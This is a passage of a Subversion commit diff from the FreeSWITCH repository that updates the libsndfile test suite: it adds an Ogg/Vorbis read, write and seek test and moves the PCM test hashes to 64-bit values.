 	{	printf ("\n\nLine %d: open failed : %s\n", __LINE__, strerror (errno)) ;
 		exit (1) ;
 		} ;
 
-	write (fd, "1234", 4) ;
+	k = write (fd, "1234", 4) ;
 
 	for (k = 0 ; k < format_count ; k++)
 		write_file_at_end (fd, formats [k], 2, k) ;
 
-	file_length = get_file_length (fd) ;
+	filelen = file_length_fd (fd) ;
 
 	embed_info.offset = 4 ;
 	embed_info.length = 0 ;
 
-	file_count = 0 ;
 
-	while (embed_info.offset + embed_info.length < file_length)
+	for (file_count = 0 ; embed_info.offset + embed_info.length < filelen ; )
 	{
 		file_count ++ ;
 
@@ -237,22 +237,3 @@
 	sf_close (sndfile) ;
 } /* write_file_at_end */
 
-static off_t
-get_file_length (int fd)
-{	struct stat statbuf ;
-
-	if (fstat (fd, &statbuf) == -1)
-	{	printf ("\n\nError : fstat error : %s\n\n", strerror (errno)) ;
-		exit (1) ;
-		} ;
-
-	return statbuf.st_size ;
-} /* get_file_length */
-
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: c1a09b0e-57c9-4306-b69e-a865d44eecb3
-*/

Copied: freeswitch/branches/seven/libs/libsndfile/tests/ogg_test.c (from rev 14471, freeswitch/trunk/libs/libsndfile/tests/ogg_test.c) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/ogg_test.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/tests/ogg_test.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,341 @@
+/*
+** Copyright (C) 2007-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
+**
+** This program is free software; you can redistribute it and/or modify
+** it under the terms of the GNU General Public License as published by
+** the Free Software Foundation; either version 2 of the License, or
+** (at your option) any later version.
+**
+** This program is distributed in the hope that it will be useful,
+** but WITHOUT ANY WARRANTY; without even the implied warranty of
+** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+** GNU General Public License for more details.
+**
+** You should have received a copy of the GNU General Public License
+** along with this program; if not, write to the Free Software
+** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
+*/
+
+#include "sfconfig.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+#include <math.h>
+
+#include	<sndfile.h>
+
+#include	"utils.h"
+
+#define	SAMPLE_RATE			44100
+#define	DATA_LENGTH			(SAMPLE_RATE / 8)
+
+typedef union
+{	double d [DATA_LENGTH] ;
+	float f [DATA_LENGTH] ;
+	int i [DATA_LENGTH] ;
+	short s [DATA_LENGTH] ;
+} BUFFER ;
+
+static BUFFER data_out ;
+static BUFFER data_in ;
+
+static void
+ogg_short_test (void)
+{	const char * filename = "vorbis_short.oga" ;
+
+	SNDFILE * file ;
+	SF_INFO sfinfo ;
+	short seek_data [10] ;
+	unsigned k ;
+
+	print_test_name ("ogg_short_test", filename) ;
+
+	/* Generate float data. */
+	gen_windowed_sine_float (data_out.f, ARRAY_LEN (data_out.f), 1.0 * 0x7F00) ;
+
+	/* Convert to shorteger. */
+	for (k = 0 ; k < ARRAY_LEN (data_out.s) ; k++)
+		data_out.s [k] = lrintf (data_out.f [k]) ;
+
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+
+	/* Set up output file type. */
+	sfinfo.format = SF_FORMAT_OGG | SF_FORMAT_VORBIS ;
+	sfinfo.channels = 1 ;
+	sfinfo.samplerate = SAMPLE_RATE ;
+
+	/* Write the output file. */
+	file = test_open_file_or_die (filename, SFM_WRITE, &sfinfo, SF_FALSE, __LINE__) ;
+	test_write_short_or_die (file, 0, data_out.s, ARRAY_LEN (data_out.s), __LINE__) ;
+	sf_close (file) ;
+
+	/* Read the file in again. */
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+
+	file = test_open_file_or_die (filename, SFM_READ, &sfinfo, SF_FALSE, __LINE__) ;
+	test_read_short_or_die (file, 0, data_in.s, ARRAY_LEN (data_in.s), __LINE__) ;
+	sf_close (file) ;
+
+	puts ("ok") ;
+
+	/* Test seeking. */
+	print_test_name ("ogg_seek_test", filename) ;
+
+	file = test_open_file_or_die (filename, SFM_READ, &sfinfo, SF_FALSE, __LINE__) ;
+
+	test_seek_or_die (file, 10, SEEK_SET, 10, sfinfo.channels, __LINE__) ;
+	test_read_short_or_die (file, 0, seek_data, ARRAY_LEN (seek_data), __LINE__) ;
+	compare_short_or_die (seek_data, data_in.s + 10, ARRAY_LEN (seek_data), __LINE__) ;
+
+	sf_close (file) ;
+
+	puts ("ok") ;
+
+	unlink (filename) ;
+} /* ogg_short_test */
+
+static void
+ogg_int_test (void)
+{	const char * filename = "vorbis_int.oga" ;
+
+	SNDFILE * file ;
+	SF_INFO sfinfo ;
+	int seek_data [10] ;
+	unsigned k ;
+
+	print_test_name ("ogg_int_test", filename) ;
+
+	/* Generate float data. */
+	gen_windowed_sine_float (data_out.f, ARRAY_LEN (data_out.f), 1.0 * 0x7FFF0000) ;
+
+	/* Convert to integer. */
+	for (k = 0 ; k < ARRAY_LEN (data_out.i) ; k++)
+		data_out.i [k] = lrintf (data_out.f [k]) ;
+
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+
+	/* Set up output file type. */
+	sfinfo.format = SF_FORMAT_OGG | SF_FORMAT_VORBIS ;
+	sfinfo.channels = 1 ;
+	sfinfo.samplerate = SAMPLE_RATE ;
+
+	/* Write the output file. */
+	file = test_open_file_or_die (filename, SFM_WRITE, &sfinfo, SF_FALSE, __LINE__) ;
+	test_write_int_or_die (file, 0, data_out.i, ARRAY_LEN (data_out.i), __LINE__) ;
+	sf_close (file) ;
+
+	/* Read the file in again. */
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+
+	file = test_open_file_or_die (filename, SFM_READ, &sfinfo, SF_FALSE, __LINE__) ;
+	test_read_int_or_die (file, 0, data_in.i, ARRAY_LEN (data_in.i), __LINE__) ;
+	sf_close (file) ;
+
+	puts ("ok") ;
+
+	/* Test seeking. */
+	print_test_name ("ogg_seek_test", filename) ;
+
+	file = test_open_file_or_die (filename, SFM_READ, &sfinfo, SF_FALSE, __LINE__) ;
+
+	test_seek_or_die (file, 10, SEEK_SET, 10, sfinfo.channels, __LINE__) ;
+	test_read_int_or_die (file, 0, seek_data, ARRAY_LEN (seek_data), __LINE__) ;
+	compare_int_or_die (seek_data, data_in.i + 10, ARRAY_LEN (seek_data), __LINE__) ;
+
+	sf_close (file) ;
+
+	puts ("ok") ;
+
+	unlink (filename) ;
+} /* ogg_int_test */
+
+static void
+ogg_float_test (void)
+{	const char * filename = "vorbis_float.oga" ;
+
+	SNDFILE * file ;
+	SF_INFO sfinfo ;
+	float seek_data [10] ;
+
+	print_test_name ("ogg_float_test", filename) ;
+
+	gen_windowed_sine_float (data_out.f, ARRAY_LEN (data_out.f), 0.95) ;
+
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+
+	/* Set up output file type. */
+	sfinfo.format = SF_FORMAT_OGG | SF_FORMAT_VORBIS ;
+	sfinfo.channels = 1 ;
+	sfinfo.samplerate = SAMPLE_RATE ;
+
+	/* Write the output file. */
+	file = test_open_file_or_die (filename, SFM_WRITE, &sfinfo, SF_FALSE, __LINE__) ;
+	test_write_float_or_die (file, 0, data_out.f, ARRAY_LEN (data_out.f), __LINE__) ;
+	sf_close (file) ;
+
+	/* Read the file in again. */
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+
+	file = test_open_file_or_die (filename, SFM_READ, &sfinfo, SF_FALSE, __LINE__) ;
+	test_read_float_or_die (file, 0, data_in.f, ARRAY_LEN (data_in.f), __LINE__) ;
+	sf_close (file) ;
+
+	puts ("ok") ;
+
+	/* Test seeking. */
+	print_test_name ("ogg_seek_test", filename) ;
+
+	file = test_open_file_or_die (filename, SFM_READ, &sfinfo, SF_FALSE, __LINE__) ;
+
+	test_seek_or_die (file, 10, SEEK_SET, 10, sfinfo.channels, __LINE__) ;
+	test_read_float_or_die (file, 0, seek_data, ARRAY_LEN (seek_data), __LINE__) ;
+	compare_float_or_die (seek_data, data_in.f + 10, ARRAY_LEN (seek_data), __LINE__) ;
+
+	sf_close (file) ;
+
+	puts ("ok") ;
+
+	unlink (filename) ;
+} /* ogg_float_test */
+
+static void
+ogg_double_test (void)
+{	const char * filename = "vorbis_double.oga" ;
+
+	SNDFILE * file ;
+	SF_INFO sfinfo ;
+	double seek_data [10] ;
+
+	print_test_name ("ogg_double_test", filename) ;
+
+	gen_windowed_sine_double (data_out.d, ARRAY_LEN (data_out.d), 0.95) ;
+
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+
+	/* Set up output file type. */
+	sfinfo.format = SF_FORMAT_OGG | SF_FORMAT_VORBIS ;
+	sfinfo.channels = 1 ;
+	sfinfo.samplerate = SAMPLE_RATE ;
+
+	/* Write the output file. */
+	file = test_open_file_or_die (filename, SFM_WRITE, &sfinfo, SF_FALSE, __LINE__) ;
+	test_write_double_or_die (file, 0, data_out.d, ARRAY_LEN (data_out.d), __LINE__) ;
+	sf_close (file) ;
+
+	/* Read the file in again. */
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+
+	file = test_open_file_or_die (filename, SFM_READ, &sfinfo, SF_FALSE, __LINE__) ;
+	test_read_double_or_die (file, 0, data_in.d, ARRAY_LEN (data_in.d), __LINE__) ;
+	sf_close (file) ;
+
+	puts ("ok") ;
+
+	/* Test seeking. */
+	print_test_name ("ogg_seek_test", filename) ;
+
+	file = test_open_file_or_die (filename, SFM_READ, &sfinfo, SF_FALSE, __LINE__) ;
+
+	test_seek_or_die (file, 10, SEEK_SET, 10, sfinfo.channels, __LINE__) ;
+	test_read_double_or_die (file, 0, seek_data, ARRAY_LEN (seek_data), __LINE__) ;
+	compare_double_or_die (seek_data, data_in.d + 10, ARRAY_LEN (seek_data), __LINE__) ;
+
+	sf_close (file) ;
+
+	puts ("ok") ;
+
+	unlink (filename) ;
+} /* ogg_double_test */
+
+
+static void
+ogg_stereo_seek_test (const char * filename, int format)
+{	static float data [SAMPLE_RATE] ;
+	static float stereo_out [SAMPLE_RATE * 2] ;
+
+	SNDFILE * file ;
+	SF_INFO sfinfo ;
+	sf_count_t pos ;
+	unsigned k ;
+
+	print_test_name (__func__, filename) ;
+
+	gen_windowed_sine_float (data, ARRAY_LEN (data), 0.95) ;
+	for (k = 0 ; k < ARRAY_LEN (data) ; k++)
+	{	stereo_out [2 * k] = data [k] ;
+   		stereo_out [2 * k + 1] = data [ARRAY_LEN (data) - k - 1] ;
+		} ;
+
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+
+	/* Set up output file type. */
+	sfinfo.format = format ;
+	sfinfo.channels = 2 ;
+	sfinfo.samplerate = SAMPLE_RATE ;
+
+	/* Write the output file. */
+	file = test_open_file_or_die (filename, SFM_WRITE, &sfinfo, SF_FALSE, __LINE__) ;
+	test_write_float_or_die (file, 0, stereo_out, ARRAY_LEN (stereo_out), __LINE__) ;
+	sf_close (file) ;
+
+	/* Open file in again for reading. */
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+	file = test_open_file_or_die (filename, SFM_READ, &sfinfo, SF_FALSE, __LINE__) ;
+
+	/* Read in the whole file. */
+	test_read_float_or_die (file, 0, stereo_out, ARRAY_LEN (stereo_out), __LINE__) ;
+
+	/* Now hammer seeking code. */
+	test_seek_or_die (file, 234, SEEK_SET, 234, sfinfo.channels, __LINE__) ;
+	test_readf_float_or_die (file, 0, data, 10, __LINE__) ;
+	compare_float_or_die (data, stereo_out + (234 * sfinfo.channels), 10, __LINE__) ;
+
+	test_seek_or_die (file, 442, SEEK_SET, 442, sfinfo.channels, __LINE__) ;
+	test_readf_float_or_die (file, 0, data, 10, __LINE__) ;
+	compare_float_or_die (data, stereo_out + (442 * sfinfo.channels), 10, __LINE__) ;
+
+	test_seek_or_die (file, 12, SEEK_CUR, 442 + 10 + 12, sfinfo.channels, __LINE__) ;
+	test_readf_float_or_die (file, 0, data, 10, __LINE__) ;
+	compare_float_or_die (data, stereo_out + ((442 + 10 + 12) * sfinfo.channels), 10, __LINE__) ;
+
+	test_seek_or_die (file, 12, SEEK_CUR, 442 + 20 + 24, sfinfo.channels, __LINE__) ;
+	test_readf_float_or_die (file, 0, data, 10, __LINE__) ;
+	compare_float_or_die (data, stereo_out + ((442 + 20 + 24) * sfinfo.channels), 10, __LINE__) ;
+
+	pos = 500 - sfinfo.frames ;
+	test_seek_or_die (file, pos, SEEK_END, 500, sfinfo.channels, __LINE__) ;
+	test_readf_float_or_die (file, 0, data, 10, __LINE__) ;
+	compare_float_or_die (data, stereo_out + (500 * sfinfo.channels), 10, __LINE__) ;
+
+	pos = 10 - sfinfo.frames ;
+	test_seek_or_die (file, pos, SEEK_END, 10, sfinfo.channels, __LINE__) ;
+	test_readf_float_or_die (file, 0, data, 10, __LINE__) ;
+	compare_float_or_die (data, stereo_out + (10 * sfinfo.channels), 10, __LINE__) ;
+
+	sf_close (file) ;
+
+	puts ("ok") ;
+	unlink (filename) ;
+} /* ogg_stereo_seek_test */
+
+
+int
+main (void)
+{
+	if (HAVE_EXTERNAL_LIBS)
+	{	ogg_short_test () ;
+		ogg_int_test () ;
+		ogg_float_test () ;
+		ogg_double_test () ;
+
+		/*-ogg_stereo_seek_test ("pcm.wav", SF_FORMAT_WAV | SF_FORMAT_PCM_16) ;-*/
+		ogg_stereo_seek_test ("vorbis_seek.ogg", SF_FORMAT_OGG | SF_FORMAT_VORBIS) ;
+		}
+	else
+		puts ("    No Ogg/Vorbis tests because Ogg/Vorbis support was not compiled in.") ;
+
+	return 0 ;
+} /* main */

Modified: freeswitch/branches/seven/libs/libsndfile/tests/pcm_test.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/pcm_test.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/pcm_test.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 1999-2004 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU General Public License as published by
@@ -21,6 +21,7 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
+#include <math.h>
 
 #if HAVE_UNISTD_H
 #include <unistd.h>
@@ -28,26 +29,25 @@
 
 #include <sndfile.h>
 
-#include "float_cast.h"
 #include "utils.h"
 
 #define	BUFFER_SIZE		(1<<12)
 
 static void	lrintf_test (void) ;
 
-static void	pcm_test_bits_8	(const char *filename, int filetype, int hash) ;
-static void	pcm_test_bits_16	(const char *filename, int filetype, int hash) ;
-static void	pcm_test_bits_24	(const char *filename, int filetype, int hash) ;
-static void	pcm_test_bits_32	(const char *filename, int filetype, int hash) ;
+static void	pcm_test_bits_8	(const char *filename, int filetype, uint64_t hash) ;
+static void	pcm_test_bits_16	(const char *filename, int filetype, uint64_t hash) ;
+static void	pcm_test_bits_24	(const char *filename, int filetype, uint64_t hash) ;
+static void	pcm_test_bits_32	(const char *filename, int filetype, uint64_t hash) ;
 
-static void pcm_test_float	(const char *filename, int filetype, int hash, int replace_float) ;
-static void pcm_test_double	(const char *filename, int filetype, int hash, int replace_float) ;
+static void pcm_test_float	(const char *filename, int filetype, uint64_t hash, int replace_float) ;
+static void pcm_test_double	(const char *filename, int filetype, uint64_t hash, int replace_float) ;
 
 typedef union
-{	double	d [BUFFER_SIZE + 1];
-	float	f [BUFFER_SIZE + 1];
-	int		i [BUFFER_SIZE + 1];
-	short	s [BUFFER_SIZE + 1];
+{	double	d [BUFFER_SIZE + 1] ;
+	float	f [BUFFER_SIZE + 1] ;
+	int		i [BUFFER_SIZE + 1] ;
+	short	s [BUFFER_SIZE + 1] ;
 } BUFFER ;
 
 /* Data written to the file. */
@@ -61,32 +61,32 @@
 {
 	lrintf_test () ;
 
-	pcm_test_bits_8	("pcm-s8.raw", SF_FORMAT_RAW | SF_FORMAT_PCM_S8, 0x9ae33814) ;
-	pcm_test_bits_8	("pcm-u8.raw", SF_FORMAT_RAW | SF_FORMAT_PCM_U8, 0x651d4694) ;
+	pcm_test_bits_8	("pcm-s8.raw", SF_FORMAT_RAW | SF_FORMAT_PCM_S8, 0x1cda335091249dbfLL) ;
+	pcm_test_bits_8	("pcm-u8.raw", SF_FORMAT_RAW | SF_FORMAT_PCM_U8, 0x7f748c433d695f3fLL) ;
 
-	pcm_test_bits_16 ("le-pcm16.raw", SF_ENDIAN_LITTLE	| SF_FORMAT_RAW | SF_FORMAT_PCM_16, 0x16866fa0) ;
-	pcm_test_bits_16 ("be-pcm16.raw", SF_ENDIAN_BIG		| SF_FORMAT_RAW | SF_FORMAT_PCM_16, 0xc571826c) ;
+	pcm_test_bits_16 ("le-pcm16.raw", SF_ENDIAN_LITTLE	| SF_FORMAT_RAW | SF_FORMAT_PCM_16, 0x3a2b956c881ebf08LL) ;
+	pcm_test_bits_16 ("be-pcm16.raw", SF_ENDIAN_BIG		| SF_FORMAT_RAW | SF_FORMAT_PCM_16, 0xd9e2f840c55750f8LL) ;
 
-	pcm_test_bits_24 ("le-pcm24.raw", SF_ENDIAN_LITTLE	| SF_FORMAT_RAW | SF_FORMAT_PCM_24, 0x658e4bb6) ;
-	pcm_test_bits_24 ("be-pcm24.raw", SF_ENDIAN_BIG		| SF_FORMAT_RAW | SF_FORMAT_PCM_24, 0xbf8cde4a) ;
+	pcm_test_bits_24 ("le-pcm24.raw", SF_ENDIAN_LITTLE	| SF_FORMAT_RAW | SF_FORMAT_PCM_24, 0x933b6a759ab496f8LL) ;
+	pcm_test_bits_24 ("be-pcm24.raw", SF_ENDIAN_BIG		| SF_FORMAT_RAW | SF_FORMAT_PCM_24, 0xbb1f3eaf9c30b6f8LL) ;
 
-	pcm_test_bits_32 ("le-pcm32.raw", SF_ENDIAN_LITTLE	| SF_FORMAT_RAW | SF_FORMAT_PCM_32, 0x04c84a70) ;
-	pcm_test_bits_32 ("be-pcm32.raw", SF_ENDIAN_BIG		| SF_FORMAT_RAW | SF_FORMAT_PCM_32, 0x069c84f6) ;
+	pcm_test_bits_32 ("le-pcm32.raw", SF_ENDIAN_LITTLE	| SF_FORMAT_RAW | SF_FORMAT_PCM_32, 0xa77aece1c1c17f08LL) ;
+	pcm_test_bits_32 ("be-pcm32.raw", SF_ENDIAN_BIG		| SF_FORMAT_RAW | SF_FORMAT_PCM_32, 0x3099ddf142d0b0f8LL) ;
 
 	/* Lite remove start */
-	pcm_test_float	("le-float.raw", SF_ENDIAN_LITTLE	| SF_FORMAT_RAW | SF_FORMAT_FLOAT, 0xbb836603, SF_FALSE) ;
-	pcm_test_float	("be-float.raw", SF_ENDIAN_BIG		| SF_FORMAT_RAW | SF_FORMAT_FLOAT, 0x903cd8fc, SF_FALSE) ;
+	pcm_test_float	("le-float.raw", SF_ENDIAN_LITTLE	| SF_FORMAT_RAW | SF_FORMAT_FLOAT, 0x3c2ad04f7554267aLL, SF_FALSE) ;
+	pcm_test_float	("be-float.raw", SF_ENDIAN_BIG		| SF_FORMAT_RAW | SF_FORMAT_FLOAT, 0x074de3e248fa9186LL, SF_FALSE) ;
 
-	pcm_test_double	("le-double.raw", SF_ENDIAN_LITTLE	| SF_FORMAT_RAW | SF_FORMAT_DOUBLE, 0xbf84448e, SF_FALSE) ;
-	pcm_test_double	("be-double.raw", SF_ENDIAN_BIG	| SF_FORMAT_RAW | SF_FORMAT_DOUBLE, 0xaf3d9fb5, SF_FALSE) ;
+	pcm_test_double	("le-double.raw", SF_ENDIAN_LITTLE	| SF_FORMAT_RAW | SF_FORMAT_DOUBLE, 0xc682726f958f669cLL, SF_FALSE) ;
+	pcm_test_double	("be-double.raw", SF_ENDIAN_BIG	| SF_FORMAT_RAW | SF_FORMAT_DOUBLE, 0xd9a3583f8ee51164LL, SF_FALSE) ;
 
 	puts ("Test IEEE replacement code.") ;
 
-	pcm_test_float	("le-float.raw", SF_ENDIAN_LITTLE	| SF_FORMAT_RAW | SF_FORMAT_FLOAT, 0xbb836603, SF_TRUE) ;
-	pcm_test_float	("be-float.raw", SF_ENDIAN_BIG		| SF_FORMAT_RAW | SF_FORMAT_FLOAT, 0x903cd8fc, SF_TRUE) ;
+	pcm_test_float	("le-float.raw", SF_ENDIAN_LITTLE	| SF_FORMAT_RAW | SF_FORMAT_FLOAT, 0x3c2ad04f7554267aLL, SF_TRUE) ;
+	pcm_test_float	("be-float.raw", SF_ENDIAN_BIG		| SF_FORMAT_RAW | SF_FORMAT_FLOAT, 0x074de3e248fa9186LL, SF_TRUE) ;
 
-	pcm_test_double	("le-double.raw", SF_ENDIAN_LITTLE	| SF_FORMAT_RAW | SF_FORMAT_DOUBLE, 0xbf84448e, SF_TRUE) ;
-	pcm_test_double	("be-double.raw", SF_ENDIAN_BIG	| SF_FORMAT_RAW | SF_FORMAT_DOUBLE, 0xaf3d9fb5, SF_TRUE) ;
+	pcm_test_double	("le-double.raw", SF_ENDIAN_LITTLE	| SF_FORMAT_RAW | SF_FORMAT_DOUBLE, 0xc682726f958f669cLL, SF_TRUE) ;
+	pcm_test_double	("be-double.raw", SF_ENDIAN_BIG	| SF_FORMAT_RAW | SF_FORMAT_DOUBLE, 0xd9a3583f8ee51164LL, SF_TRUE) ;
 	/* Lite remove end */
 
 	return 0 ;
@@ -125,7 +125,7 @@
 } /* lrintf_test */
 
 static void
-pcm_test_bits_8 (const char *filename, int filetype, int hash)
+pcm_test_bits_8 (const char *filename, int filetype, uint64_t hash)
 {	SNDFILE		*file ;
 	SF_INFO		sfinfo ;
 	int			k, items, zero_count ;
@@ -392,7 +392,7 @@
 } /* pcm_test_bits_8 */
 
 static void
-pcm_test_bits_16 (const char *filename, int filetype, int hash)
+pcm_test_bits_16 (const char *filename, int filetype, uint64_t hash)
 {	SNDFILE		*file ;
 	SF_INFO		sfinfo ;
 	int			k, items, zero_count ;
@@ -659,7 +659,7 @@
 } /* pcm_test_bits_16 */
 
 static void
-pcm_test_bits_24 (const char *filename, int filetype, int hash)
+pcm_test_bits_24 (const char *filename, int filetype, uint64_t hash)
 {	SNDFILE		*file ;
 	SF_INFO		sfinfo ;
 	int			k, items, zero_count ;
@@ -926,7 +926,7 @@
 } /* pcm_test_bits_24 */
 
 static void
-pcm_test_bits_32 (const char *filename, int filetype, int hash)
+pcm_test_bits_32 (const char *filename, int filetype, uint64_t hash)
 {	SNDFILE		*file ;
 	SF_INFO		sfinfo ;
 	int			k, items, zero_count ;
@@ -1198,7 +1198,7 @@
 */
 
 static void
-pcm_test_float (const char *filename, int filetype, int hash, int replace_float)
+pcm_test_float (const char *filename, int filetype, uint64_t hash, int replace_float)
 {	SNDFILE			*file ;
 	SF_INFO			sfinfo ;
 	int				k, items, frames ;
@@ -1452,7 +1452,7 @@
 } /* pcm_test_float */
 
 static void
-pcm_test_double (const char *filename, int	filetype, int hash, int replace_float)
+pcm_test_double (const char *filename, int	filetype, uint64_t hash, int replace_float)
 {	SNDFILE			*file ;
 	SF_INFO			sfinfo ;
 	int				k, items, frames ;
@@ -1727,5 +1727,3 @@
 
 /*==============================================================================
 */
-
-

Modified: freeswitch/branches/seven/libs/libsndfile/tests/pcm_test.def (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/pcm_test.def	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/pcm_test.def	2009-08-09 18:53:22 UTC (rev 14472)
@@ -32,11 +32,3 @@
 	float_func	= "(k * ((k % 2) ? 333333 : -333333))" ;
 	} ;
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: a939b77e-4175-460b-a393-fb38012ded7c
-*/
-

Modified: freeswitch/branches/seven/libs/libsndfile/tests/pcm_test.tpl (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/pcm_test.tpl	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/pcm_test.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 [+ AutoGen5 template c +]
 /*
-** Copyright (C) 1999-2004 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU General Public License as published by
@@ -22,6 +22,7 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
+#include <math.h>
 
 #if HAVE_UNISTD_H
 #include <unistd.h>
@@ -29,7 +30,6 @@
 
 #include <sndfile.h>
 
-#include "float_cast.h"
 #include "utils.h"
 
 #define	BUFFER_SIZE		(1<<12)
@@ -37,17 +37,17 @@
 static void	lrintf_test (void) ;
 
 [+ FOR data_type
-+]static void	pcm_test_[+ (get "name") +]	(const char *filename, int filetype, int hash) ;
++]static void	pcm_test_[+ (get "name") +]	(const char *filename, int filetype, uint64_t hash) ;
 [+ ENDFOR data_type
 +]
-static void pcm_test_float	(const char *filename, int filetype, int hash, int replace_float) ;
-static void pcm_test_double	(const char *filename, int filetype, int hash, int replace_float) ;
+static void pcm_test_float	(const char *filename, int filetype, uint64_t hash, int replace_float) ;
+static void pcm_test_double	(const char *filename, int filetype, uint64_t hash, int replace_float) ;
 
 typedef union
-{	double	d [BUFFER_SIZE + 1];
-	float	f [BUFFER_SIZE + 1];
-	int		i [BUFFER_SIZE + 1];
-	short	s [BUFFER_SIZE + 1];
+{	double	d [BUFFER_SIZE + 1] ;
+	float	f [BUFFER_SIZE + 1] ;
+	int		i [BUFFER_SIZE + 1] ;
+	short	s [BUFFER_SIZE + 1] ;
 } BUFFER ;
 
 /* Data written to the file. */
@@ -61,32 +61,32 @@
 {
 	lrintf_test () ;
 
-	pcm_test_bits_8	("pcm-s8.raw", SF_FORMAT_RAW | SF_FORMAT_PCM_S8, 0x9ae33814) ;
-	pcm_test_bits_8	("pcm-u8.raw", SF_FORMAT_RAW | SF_FORMAT_PCM_U8, 0x651d4694) ;
+	pcm_test_bits_8	("pcm-s8.raw", SF_FORMAT_RAW | SF_FORMAT_PCM_S8, 0x1cda335091249dbfLL) ;
+	pcm_test_bits_8	("pcm-u8.raw", SF_FORMAT_RAW | SF_FORMAT_PCM_U8, 0x7f748c433d695f3fLL) ;
 
-	pcm_test_bits_16 ("le-pcm16.raw", SF_ENDIAN_LITTLE	| SF_FORMAT_RAW | SF_FORMAT_PCM_16, 0x16866fa0) ;
-	pcm_test_bits_16 ("be-pcm16.raw", SF_ENDIAN_BIG		| SF_FORMAT_RAW | SF_FORMAT_PCM_16, 0xc571826c) ;
+	pcm_test_bits_16 ("le-pcm16.raw", SF_ENDIAN_LITTLE	| SF_FORMAT_RAW | SF_FORMAT_PCM_16, 0x3a2b956c881ebf08LL) ;
+	pcm_test_bits_16 ("be-pcm16.raw", SF_ENDIAN_BIG		| SF_FORMAT_RAW | SF_FORMAT_PCM_16, 0xd9e2f840c55750f8LL) ;
 
-	pcm_test_bits_24 ("le-pcm24.raw", SF_ENDIAN_LITTLE	| SF_FORMAT_RAW | SF_FORMAT_PCM_24, 0x658e4bb6) ;
-	pcm_test_bits_24 ("be-pcm24.raw", SF_ENDIAN_BIG		| SF_FORMAT_RAW | SF_FORMAT_PCM_24, 0xbf8cde4a) ;
+	pcm_test_bits_24 ("le-pcm24.raw", SF_ENDIAN_LITTLE	| SF_FORMAT_RAW | SF_FORMAT_PCM_24, 0x933b6a759ab496f8LL) ;
+	pcm_test_bits_24 ("be-pcm24.raw", SF_ENDIAN_BIG		| SF_FORMAT_RAW | SF_FORMAT_PCM_24, 0xbb1f3eaf9c30b6f8LL) ;
 
-	pcm_test_bits_32 ("le-pcm32.raw", SF_ENDIAN_LITTLE	| SF_FORMAT_RAW | SF_FORMAT_PCM_32, 0x04c84a70) ;
-	pcm_test_bits_32 ("be-pcm32.raw", SF_ENDIAN_BIG		| SF_FORMAT_RAW | SF_FORMAT_PCM_32, 0x069c84f6) ;
+	pcm_test_bits_32 ("le-pcm32.raw", SF_ENDIAN_LITTLE	| SF_FORMAT_RAW | SF_FORMAT_PCM_32, 0xa77aece1c1c17f08LL) ;
+	pcm_test_bits_32 ("be-pcm32.raw", SF_ENDIAN_BIG		| SF_FORMAT_RAW | SF_FORMAT_PCM_32, 0x3099ddf142d0b0f8LL) ;
 
 	/* Lite remove start */
-	pcm_test_float	("le-float.raw", SF_ENDIAN_LITTLE	| SF_FORMAT_RAW | SF_FORMAT_FLOAT, 0xbb836603, SF_FALSE) ;
-	pcm_test_float	("be-float.raw", SF_ENDIAN_BIG		| SF_FORMAT_RAW | SF_FORMAT_FLOAT, 0x903cd8fc, SF_FALSE) ;
+	pcm_test_float	("le-float.raw", SF_ENDIAN_LITTLE	| SF_FORMAT_RAW | SF_FORMAT_FLOAT, 0x3c2ad04f7554267aLL, SF_FALSE) ;
+	pcm_test_float	("be-float.raw", SF_ENDIAN_BIG		| SF_FORMAT_RAW | SF_FORMAT_FLOAT, 0x074de3e248fa9186LL, SF_FALSE) ;
 
-	pcm_test_double	("le-double.raw", SF_ENDIAN_LITTLE	| SF_FORMAT_RAW | SF_FORMAT_DOUBLE, 0xbf84448e, SF_FALSE) ;
-	pcm_test_double	("be-double.raw", SF_ENDIAN_BIG	| SF_FORMAT_RAW | SF_FORMAT_DOUBLE, 0xaf3d9fb5, SF_FALSE) ;
